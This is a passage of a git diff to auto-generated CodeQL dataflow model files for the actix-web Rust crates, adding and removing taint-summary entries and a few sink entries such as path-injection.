["repo:https://github.com/actix/actix-web:actix-files", "::into_response", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::last_modified", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "crate::directory::directory_listing", "Argument[0]", "path-injection", "df-generated"] diff --git a/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-http-test.model.yml b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-http-test.model.yml index e76569692ab..71c599dd54e 100644 --- a/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-http-test.model.yml +++ b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-http-test.model.yml @@ -5,36 +5,6 @@ extensions: extensible: summaryModel data: - ["repo:https://github.com/actix/actix-web:actix-http-test", "::addr", "Argument[self].Field[crate::TestServer::addr]", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http-test", "::delete", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http-test", "::delete", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http-test", "::get", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http-test", "::get", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http-test", "::head", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http-test", "::head", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http-test", "::options", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http-test", "::options", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http-test", "::patch", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http-test", "::patch", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http-test", "::post", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http-test", "::post", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http-test", "::put", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http-test", "::put", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http-test", "::request", "Argument[0]", "ReturnValue.Field[crate::request::ClientRequest::head].Field[crate::requests::head::RequestHead::method]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http-test", "::request", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http-test", "::request", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http-test", "::sdelete", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http-test", "::sdelete", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http-test", "::sget", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http-test", "::sget", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http-test", "::shead", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http-test", "::shead", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http-test", "::soptions", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http-test", "::soptions", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http-test", "::spatch", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http-test", "::spatch", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http-test", "::spost", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http-test", "::spost", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http-test", "::sput", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http-test", "::sput", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http-test", "::surl", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-http-test", "::url", "Argument[0]", "ReturnValue", "taint", "df-generated"] diff --git a/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-http.model.yml b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-http.model.yml index f1e7d73e129..45decf0071c 100644 --- a/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-http.model.yml +++ b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-http.model.yml @@ -7,21 +7,37 @@ extensions: - ["repo:https://github.com/actix/actix-web:actix-http", "<&crate::header::value::HeaderValue as crate::header::into_value::TryIntoHeaderValue>::try_into_value", "Argument[self].Reference", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "<&str as crate::header::into_value::TryIntoHeaderValue>::try_into_value", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::from_io", "Argument[1]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::call", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[0]", "ReturnValue.Field[crate::body::body_stream::BodyStream::stream]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::boxed", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::try_into_bytes", "Argument[self]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::as_pin_mut", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::as_pin_mut", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[0]", "ReturnValue.Field[crate::body::message_body::MessageBodyMapErr::body]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[1]", "ReturnValue.Field[crate::body::message_body::MessageBodyMapErr::mapper].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::size", "Argument[self].Field[crate::body::sized_stream::SizedStream::size]", "ReturnValue.Field[crate::body::size::BodySize::Sized(0)]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[0]", "ReturnValue.Field[crate::body::sized_stream::SizedStream::size]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[1]", "ReturnValue.Field[crate::body::sized_stream::SizedStream::stream]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::client_disconnect", "Argument[0]", "Argument[self].Field[crate::builder::HttpServiceBuilder::client_disconnect_timeout]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::client_disconnect", "Argument[0]", "ReturnValue.Field[crate::builder::HttpServiceBuilder::client_disconnect_timeout]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::client_disconnect", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::client_disconnect_timeout", "Argument[0]", "Argument[self].Field[crate::builder::HttpServiceBuilder::client_disconnect_timeout]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::client_disconnect_timeout", "Argument[0]", "ReturnValue.Field[crate::builder::HttpServiceBuilder::client_disconnect_timeout]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::client_disconnect_timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::client_request_timeout", "Argument[0]", "Argument[self].Field[crate::builder::HttpServiceBuilder::client_request_timeout]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::client_request_timeout", "Argument[0]", "ReturnValue.Field[crate::builder::HttpServiceBuilder::client_request_timeout]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::client_request_timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::client_timeout", "Argument[0]", "Argument[self].Field[crate::builder::HttpServiceBuilder::client_request_timeout]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::client_timeout", "Argument[0]", "ReturnValue.Field[crate::builder::HttpServiceBuilder::client_request_timeout]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::client_timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::expect", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::finish", "Argument[self].Field[crate::builder::HttpServiceBuilder::expect]", "ReturnValue.Field[crate::service::HttpService::expect]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::finish", "Argument[self].Field[crate::builder::HttpServiceBuilder::on_connect_ext]", "ReturnValue.Field[crate::service::HttpService::on_connect_ext]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::finish", "Argument[self].Field[crate::builder::HttpServiceBuilder::upgrade]", "ReturnValue.Field[crate::service::HttpService::upgrade]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::h1", "Argument[self].Field[crate::builder::HttpServiceBuilder::expect]", "ReturnValue.Field[crate::h1::service::H1Service::expect]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::h1", "Argument[self].Field[crate::builder::HttpServiceBuilder::on_connect_ext]", "ReturnValue.Field[crate::h1::service::H1Service::on_connect_ext]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::h1", "Argument[self].Field[crate::builder::HttpServiceBuilder::upgrade]", "ReturnValue.Field[crate::h1::service::H1Service::upgrade]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::h2", "Argument[self].Field[crate::builder::HttpServiceBuilder::on_connect_ext]", "ReturnValue.Field[crate::h2::service::H2Service::on_connect_ext]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::keep_alive", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::local_addr", "Argument[0]", "Argument[self].Field[crate::builder::HttpServiceBuilder::local_addr].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::local_addr", "Argument[0]", "ReturnValue.Field[crate::builder::HttpServiceBuilder::local_addr].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] @@ -30,8 +46,11 @@ extensions: - ["repo:https://github.com/actix/actix-web:actix-http", "::secure", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::upgrade", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::try_into_bytes", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::now", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::with_date", "Argument[self]", "Argument[0]", "taint", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::from_headers", "Argument[0]", "ReturnValue.Field[crate::encoding::decoder::Decoder::stream]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[0]", "ReturnValue.Field[crate::encoding::decoder::Decoder::stream]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::try_into_bytes", "Argument[self].Field[crate::encoding::encoder::Encoder::body]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::encoding::encoder::Encoder::body]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::try_into_bytes", "Argument[self]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::response", "Argument[2]", "ReturnValue.Field[crate::encoding::encoder::Encoder::body].Field[crate::encoding::encoder::EncoderBody::Stream::body]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::try_into_bytes", "Argument[self]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] @@ -66,6 +85,9 @@ extensions: - ["repo:https://github.com/actix/actix-web:actix-http", "::unwrap", "Argument[self].Field[crate::h1::decoder::PayloadType::Payload(0)]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::encode", "Argument[self].Field[crate::h1::encoder::TransferEncoding::kind].Field[crate::h1::encoder::TransferEncodingKind::Chunked(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::length", "Argument[0]", "ReturnValue.Field[crate::h1::encoder::TransferEncoding::kind].Field[crate::h1::encoder::TransferEncodingKind::Length(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new_service", "Argument[self].Field[crate::h1::service::H1Service::cfg].Reference", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new_service", "Argument[self].Field[crate::h1::service::H1Service::on_connect_ext].Reference", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new_service", "Argument[self].Field[crate::h1::service::H1Service::on_connect_ext]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::expect", "Argument[0]", "ReturnValue.Field[crate::h1::service::H1Service::expect]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::on_connect_ext", "Argument[0]", "Argument[self].Field[crate::h1::service::H1Service::on_connect_ext]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::on_connect_ext", "Argument[0]", "ReturnValue.Field[crate::h1::service::H1Service::on_connect_ext]", "value", "dfc-generated"] @@ -79,6 +101,9 @@ extensions: - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[1]", "ReturnValue.Field[crate::h2::dispatcher::Dispatcher::flow]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[2]", "ReturnValue.Field[crate::h2::dispatcher::Dispatcher::config]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[3]", "ReturnValue.Field[crate::h2::dispatcher::Dispatcher::peer_addr]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new_service", "Argument[self].Field[crate::h2::service::H2Service::cfg].Reference", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new_service", "Argument[self].Field[crate::h2::service::H2Service::on_connect_ext].Reference", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new_service", "Argument[self].Field[crate::h2::service::H2Service::on_connect_ext]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::on_connect_ext", "Argument[0]", "Argument[self].Field[crate::h2::service::H2Service::on_connect_ext]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::on_connect_ext", "Argument[0]", "ReturnValue.Field[crate::h2::service::H2Service::on_connect_ext]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::on_connect_ext", "Argument[self]", "ReturnValue", "value", "dfc-generated"] @@ -106,7 +131,6 @@ extensions: - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0]", "ReturnValue.Field[crate::payload::Payload::H2::payload].Field[crate::h2::Payload::stream]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0]", "ReturnValue.Field[crate::payload::Payload::H2::payload]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0]", "ReturnValue.Field[crate::payload::Payload::Stream::payload]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http", "::take", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::with_pool", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::headers", "Argument[self].Field[crate::requests::head::RequestHead::headers]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::headers_mut", "Argument[self].Field[crate::requests::head::RequestHead::headers]", "ReturnValue.Reference", "value", "dfc-generated"] @@ -115,8 +139,9 @@ extensions: - ["repo:https://github.com/actix/actix-web:actix-http", "::headers", "Argument[self].Field[crate::requests::head::RequestHeadType::Owned(0)].Field[crate::requests::head::RequestHead::headers]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0]", "ReturnValue.Field[crate::requests::request::Request::head]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::headers_mut", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::extensions", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::extensions_mut", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::headers", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http", "::take_payload", "Argument[self].Field[crate::requests::request::Request::payload]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::head", "Argument[self].Field[crate::requests::request::Request::head]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::head_mut", "Argument[self].Field[crate::requests::request::Request::head]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::into_parts", "Argument[self].Field[crate::requests::request::Request::head]", "ReturnValue.Field[0]", "value", "dfc-generated"] @@ -125,9 +150,6 @@ extensions: - ["repo:https://github.com/actix/actix-web:actix-http", "::payload", "Argument[self].Field[crate::requests::request::Request::payload]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::peer_addr", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::replace_payload", "Argument[0]", "ReturnValue.Field[0].Field[crate::requests::request::Request::payload]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http", "::take_conn_data", "Argument[self].Field[crate::requests::request::Request::conn_data].Reference", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http", "::take_conn_data", "Argument[self].Field[crate::requests::request::Request::conn_data]", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http", "::take_payload", "Argument[self].Field[crate::requests::request::Request::payload]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::uri", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::version", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::with_payload", "Argument[0]", "ReturnValue.Field[crate::requests::request::Request::payload]", "value", "dfc-generated"] @@ -138,11 +160,9 @@ extensions: - ["repo:https://github.com/actix/actix-web:actix-http", "::insert_header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::keep_alive", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::message_body", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::responses::response::Response::body]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http", "::message_body", "Argument[self].Field[crate::responses::builder::ResponseBuilder::head].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::responses::response::Response::head]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::no_chunking", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::reason", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::status", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http", "::take", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::upgrade", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::deref", "Argument[self].Field[crate::responses::head::BoxedResponseHead::head].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::deref_mut", "Argument[self].Field[crate::responses::head::BoxedResponseHead::head].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] @@ -158,6 +178,8 @@ extensions: - ["repo:https://github.com/actix/actix-web:actix-http", "::body", "Argument[self].Field[crate::responses::response::Response::body]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::drop_body", "Argument[self].Field[crate::responses::response::Response::extensions]", "ReturnValue.Field[crate::responses::response::Response::extensions]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::drop_body", "Argument[self].Field[crate::responses::response::Response::head]", "ReturnValue.Field[crate::responses::response::Response::head]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::extensions", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::extensions_mut", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::head", "Argument[self].Field[crate::responses::response::Response::head]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::head_mut", "Argument[self].Field[crate::responses::response::Response::head]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::into_body", "Argument[self].Field[crate::responses::response::Response::body]", "ReturnValue", "value", "dfc-generated"] @@ -177,6 +199,9 @@ extensions: - ["repo:https://github.com/actix/actix-web:actix-http", "::set_body", "Argument[self].Field[crate::responses::response::Response::extensions]", "ReturnValue.Field[crate::responses::response::Response::extensions]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::set_body", "Argument[self].Field[crate::responses::response::Response::head]", "ReturnValue.Field[crate::responses::response::Response::head]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::with_body", "Argument[1]", "ReturnValue.Field[crate::responses::response::Response::body]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new_service", "Argument[self].Field[crate::service::HttpService::cfg].Reference", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new_service", "Argument[self].Field[crate::service::HttpService::on_connect_ext].Reference", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new_service", "Argument[self].Field[crate::service::HttpService::on_connect_ext]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::expect", "Argument[0]", "ReturnValue.Field[crate::service::HttpService::expect]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::on_connect_ext", "Argument[0]", "Argument[self].Field[crate::service::HttpService::on_connect_ext]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::on_connect_ext", "Argument[0]", "ReturnValue.Field[crate::service::HttpService::on_connect_ext]", "value", "dfc-generated"] @@ -186,14 +211,12 @@ extensions: - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[0]", "ReturnValue.Field[crate::service::HttpServiceHandler::cfg]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[4]", "ReturnValue.Field[crate::service::HttpServiceHandler::on_connect_ext]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::handshake_timeout", "Argument[0]", "ReturnValue.Field[crate::service::TlsAcceptorConfig::handshake_timeout].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http", "::clone", "Argument[self].Field[crate::test::TestBuffer::err].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::test::TestBuffer::err].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::clone", "Argument[self].Field[crate::test::TestBuffer::err].Reference", "ReturnValue.Field[crate::test::TestBuffer::err]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::clone", "Argument[self].Field[crate::test::TestBuffer::err]", "ReturnValue.Field[crate::test::TestBuffer::err]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::append_header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::insert_header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::method", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::set_payload", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http", "::take", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::uri", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", 